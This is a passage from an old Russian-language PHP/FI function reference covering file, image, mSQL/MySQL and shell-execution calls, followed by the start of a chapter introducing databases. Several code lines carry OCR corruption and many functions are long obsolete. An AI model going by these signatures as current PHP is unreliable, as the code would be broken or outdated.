    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

